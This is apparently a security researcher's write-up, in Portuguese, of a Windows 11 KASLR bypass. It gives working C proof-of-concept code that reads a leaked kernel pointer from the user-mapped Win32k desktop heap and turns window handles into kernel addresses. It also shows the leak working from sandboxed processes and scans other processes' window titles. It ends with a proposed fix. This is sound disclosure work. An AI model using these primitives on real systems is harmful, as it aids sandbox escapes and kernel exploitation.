CVE-2026-50416: bypass de KASLR no Windows 11
No Windows 11 Insider build 10.0.28020.2149, o mapeamento em modo de usuário do desktop heap do Win32k expôs um ponteiro bruto do pool de sessão do kernel no offset 0x100.
A leitura em si é quase ofensivamente pequena:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Na minha sessão de teste, isso retornou:
0xffffc600dcc00040
O valor permaneceu o mesmo entre processos no mesmo desktop e mudou após uma reinicialização. Um processo iniciado em outro desktop recebeu um valor diferente porque tinha um desktop heap diferente. A partir deste único QWORD, o PoC recuperou a base do desktop heap do kernel e então usou user32!gSharedInfo para derivar os endereços de kernel de objetos de janela ativos.
A mesma leitura funcionou a partir de Low integrity, AppContainer, uma configuração LPAC com zero capacidades, e um filho AppContainer de Low integrity com zero capacidades.
O desktop heap deveria ser compartilhado. O ponteiro do kernel não é.
O Win32k armazena objetos USER como janelas, menus, classes, hooks e metadados relacionados em desktop heaps. Cada desktop tem seu próprio heap. Parte desse heap é mapeada em processos associados ao desktop para que o modo de usuário possa ler o estado compartilhado da GUI sem perguntar ao kernel por cada campo.
No build x64 testado, o mapeamento em modo de usuário pode ser alcançado através dos dados de cliente do TEB da thread atual:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Os offsets são específicos do build, mas a rota é simples:
GS:[0x30]
-> TEB
-> ClientInfo em TEB + 0x800
-> ClientInfo[5]
-> mapeamento do desktop heap em modo de usuário
O PoC chama VirtualQuery no endereço retornado e registra a região mapeada e sua proteção. Nada deu errado ainda. Um mapeamento de desktop heap somente leitura é comportamento normal do Win32k.
O problema começa 256 bytes adentro.
O PoC principal lê um QWORD do heap mapeado:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
O valor passou nas verificações básicas esperadas de um endereço virtual de kernel no sistema testado:
O teste de estabilidade cria janelas STATIC, BUTTON e EDIT, lê o valor antes da criação, lê novamente enquanto as janelas existem, as destrói e lê uma terceira vez.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
Todas as três leituras retornaram o mesmo valor. A atividade de alocação de janelas não o moveu. Esse comportamento é consistente com um campo nos metadados do desktop heap, em vez de um ponteiro de objeto de curta duração.
A propriedade entre processos é igualmente importante. Dois processos anexados ao mesmo desktop observam o mesmo valor vazado porque estão olhando para o mesmo desktop heap. Após uma reinicialização, o KASLR dá à sessão um novo endereço. Um filho colocado em outro desktop observa outro ponteiro porque esse desktop possui outro heap.
Isso dá ao vazamento uma identidade útil:
mesmo boot + mesmo desktop -> mesmo ponteiro
mesmo boot + desktop diferente -> ponteiro diferente
novo boot -> ponteiro diferente
No build testado, o ponteiro vazado está 0x40 bytes acima da base do desktop heap do kernel usada pelo PoC:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
Usando o valor da sessão registrada:
ponteiro vazado = 0xffffc600dcc00040
base do desktop heap kernel = 0xffffc600dcc00000
Essa relação é específica do build. Para o build usado durante os testes, ela fornece a âncora do lado do kernel necessária para o próximo passo.
Um ponteiro já é útil. Um endereço para um objeto escolhido é muito mais útil.
user32.dll exporta gSharedInfo, que expõe a lista de entradas de handles USER e o tamanho de cada entrada:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
Um HWND contém um índice na tabela de handles USER. O PoC pega os 16 bits baixos do handle, caminha até a entrada correspondente e lê o offset do desktop heap armazenado ali.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
O mesmo offset nomeia o objeto em ambos os mapeamentos:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
Então o cálculo completo é:
base do desktop heap kernel = desktop_heap[0x100] - 0x40
índice do handle = HWND & 0xffff
offset do heap = aheList[índice do handle].offset
endereço da janela kernel = base do desktop heap kernel + offset do heap
O PoC cria seis classes de janela e realiza o cálculo para cada uma:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXPara cada objeto, ele imprime o HWND, índice do handle, endereço do objeto em modo de usuário, offset do heap e endereço de kernel.
HWND
-> índice do handle de 16 bits baixos
-> entrada de handle do gSharedInfo
-> offset do desktop heap
-> base do desktop heap kernel + offset
-> endereço de kernel daquele objeto de janela
Esta é a parte que transforma a divulgação de um ponteiro de kernel solto em um oráculo de endereços para objetos USER selecionados no desktop heap testado.
O desktop heap chega através de um mapeamento compartilhado. Níveis de integridade e restrições de AppContainer não reescrevem o conteúdo desse mapeamento para cada processo. Se o processo recebe o desktop heap, ele recebe o QWORD em 0x100 junto.
O PoC de sandbox lança filhos em vários contextos e faz cada filho ler o valor do seu próprio TEB e do seu próprio mapeamento de desktop heap.
| Contexto | Configuração | Resultado |
|---|---|---|
| Integridade média | Processo de usuário padrão | Vazado |
| Integridade baixa | Integridade do token reduzida para Low | Vazado |
| AppContainer | Zero capacidades solicitadas | Vazado |
| Configuração LPAC | Todas as políticas de opt-out de pacotes de aplicativos, zero capacidades solicitadas | Vazado |
| AppContainer de integridade baixa | Low IL mais AppContainer, zero capacidades solicitadas | Vazado |
| Desktop alternativo | Filho atribuído a um novo desktop | Vazou um valor diferente |
Os primeiros cinco filhos estavam anexados ao desktop padrão e retornaram o mesmo endereço. O filho do desktop alternativo retornou outro endereço porque recebeu outro desktop heap.
A saída do filho tem um formato compacto para que o pai possa comparar resultados:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
O helper mais rigoroso também registra o estado do token e a contagem de capacidades:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
O detalhe importante não é que o filho pode chamar uma API Win32k especial. Ele não precisa. Uma vez que o mapeamento está presente, o vazamento é uma leitura normal de memória em modo de usuário.
Um helper separado realiza a leitura sem chamar CreateWindow.
Ele verifica o ponteiro do desktop heap, lê desktop_heap[0x100], carrega explicitamente user32.dll, verifica o mapeamento novamente e ainda assim nunca cria uma janela. Outro filho semelhante a um renderizador carrega user32.dll, realiza a mesma leitura e sai sem criar nenhuma janela.
O resultado útil é direto:
Nenhum objeto de janela precisa ser criado antes de ler o QWORD vazado.
O vazamento pertence ao próprio mapeamento do desktop heap, não a uma janela criada pelo processo atacante.
supporting_proof_remote_trigger.c cria um filho AppContainer de Low integrity com zero capacidades solicitadas. O filho faz apenas uma pequena quantidade de trabalho:
LoadLibraryA("user32.dll");
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Saída registrada:
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated
Isso demonstra a leitura a partir de uma configuração de token semelhante a um renderizador. Um bug separado de corrupção de memória do navegador que já dá execução de código nativo em tal processo não precisaria de outra divulgação de informações antes de ler este ponteiro do desktop heap.
Uma vez que tive um ponteiro confiável, escaneei a região mapeada para ver o que mais estava presente.
O scanner encontrou de seis a dez valores QWORD únicos adicionais por execução que passaram nas mesmas verificações de endereço canônico e alinhamento. O número exato mudava com a atividade do desktop. O offset 0x100 era o vazamento primário estável, mas não era o único valor com formato de endereço de kernel no mapeamento.
O helper de dados sensíveis enumera janelas de nível superior com EnumWindows, coleta seus PIDs e títulos proprietários, e então busca no mapeamento do desktop heap os mesmos títulos como strings UTF-16.
Na execução registrada, ele encontrou vinte títulos únicos pertencentes a outros processos. Os exemplos incluíam abas de navegador, Discord, Explorer, Spotify e janelas da bandeja do sistema.
O programa só imprime um título quando ambas as condições são verdadeiras:
EnumWindows relata uma janela com esse título e um PID proprietário diferente do processo de teste.Isso torna a saída fácil de verificar em vez de depender de strings imprimíveis aleatórias encontradas na memória.
O helper também escaneia valores DWORD no mapeamento. Um valor é contado apenas quando:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) tem sucesso para ele.EnumWindows.A execução registrada encontrou 605 ocorrências DWORD correspondentes. Isso é uma contagem de ocorrências no heap, não 605 processos únicos. O mesmo PID pode aparecer mais de uma vez.
O helper cria um controle EDIT com ES_PASSWORD, define seu texto como SecretPassword123 e busca na região mapeada o prefixo SecretP. Não foi encontrado na execução testada.
Então o mapeamento expôs títulos, ocorrências de PID e valores com formato de kernel, enquanto a string de senha testada não apareceu ali.
Para um bug de corrupção de memória do Win32k, saber que um objeto existe não é o mesmo que saber onde ele vive na memória do kernel.
Sem a divulgação, o atacante tem que lidar com uma base de desktop heap desconhecida e endereços de objeto desconhecidos. Com a divulgação, o lado do endereço se torna:
ler um QWORD
subtrair 0x40
ler a entrada de handle alvo
adicionar seu offset de heap
Para um HWND escolhido, o atacante agora tem o endereço correspondente do desktop heap do kernel no build testado. Isso pode ajudar com:
O vazamento resolve o problema de endereço. A modelagem do heap, a substituição de objetos e a primitiva de corrupção de memória permanecem partes separadas da exploração.
Essa divisão importa. O KASLR não impede a corrupção de memória. Ele torna a segmentação confiável mais difícil. Este QWORD remove essa incerteza para a região do desktop heap usada pelo PoC.
Windows 11 Insider Build 10.0.28020.2149
Usuário padrão
Integridade média como linha de base
kaslr_bypass_poc.c: PoC principal de vazamento e resolução de endereço de janelakaslr_sandbox_proof.c: testes de Medium IL, Low IL, AppContainer, configuração LPAC, AppContainer de Low IL e desktop alternativosupporting_proof_no_window.c: leitura sem criar uma janelasupporting_proof_no_caps_lpac.c: configurações AppContainer e LPAC de zero capacidadessupporting_proof_sensitive_data.c: títulos, ocorrências de PID, varredura de ponteiros extras e verificação de campo de senhasupporting_proof_exploitability.c: seis classes de janela e cálculos de endereço de kernelsupporting_proof_remote_trigger.c: filho AppContainer de Low IL semelhante a um renderizadorcompile.bat: menu de compilaçãoExecute:
compile.bat
Selecione o alvo no menu.
O PoC principal também pode ser compilado diretamente de um prompt de comando de desenvolvedor do Visual Studio:
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib
Execute o PoC principal duas vezes sem reiniciar:
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe
O ponteiro em desktop_heap + 0x100 deve ser idêntico em ambas as execuções.
Abra um segundo terminal e execute-o a partir de outro processo no mesmo desktop. O valor deve corresponder novamente.
Reinicie e repita. O valor deve mudar.
kaslr_sandbox_proof.exe
O teste lança cada filho, captura sua saída e compara os valores vazados. Filhos no desktop padrão devem relatar o mesmo valor. O filho do desktop alternativo deve relatar um valor diferente.
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe
Cada helper isola uma parte do resultado para que possa ser reproduzida sem ler toda a saída do PoC completo.
O mapeamento em modo de usuário não deve conter endereços virtuais brutos do kernel.
A menor correção é sanear o campo do cabeçalho do desktop heap antes que a página se torne visível em modo de usuário. O Windows já usa um valor opaco 0x6000000000 para outros campos de ponteiro do desktop heap, então o mesmo estilo de substituição poderia ser usado aqui se o modo de usuário ainda precisar do campo.
Se o modo de usuário não precisar da página de cabeçalho, a correção mais limpa é não expor essa página no mapeamento compartilhado.
O teste de regressão é simples: criar processos em configurações de Medium IL, Low IL, AppContainer e LPAC, mapear o desktop heap e rejeitar qualquer endereço de kernel canônico encontrado no cabeçalho visível ao usuário.
Toda a cadeia começa com uma leitura comum de um mapeamento somente leitura:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Esse QWORD identifica o desktop heap do kernel. gSharedInfo fornece o offset por objeto. Juntos, eles transformam um HWND em modo de usuário no endereço de kernel correspondente no build testado.
Nenhum gatilho complicado está escondido aqui. O Windows colocou o desktop heap onde o modo de usuário pudesse lê-lo e depois deixou um ponteiro de kernel dentro da parte que compartilhou.
Um QWORD foi suficiente.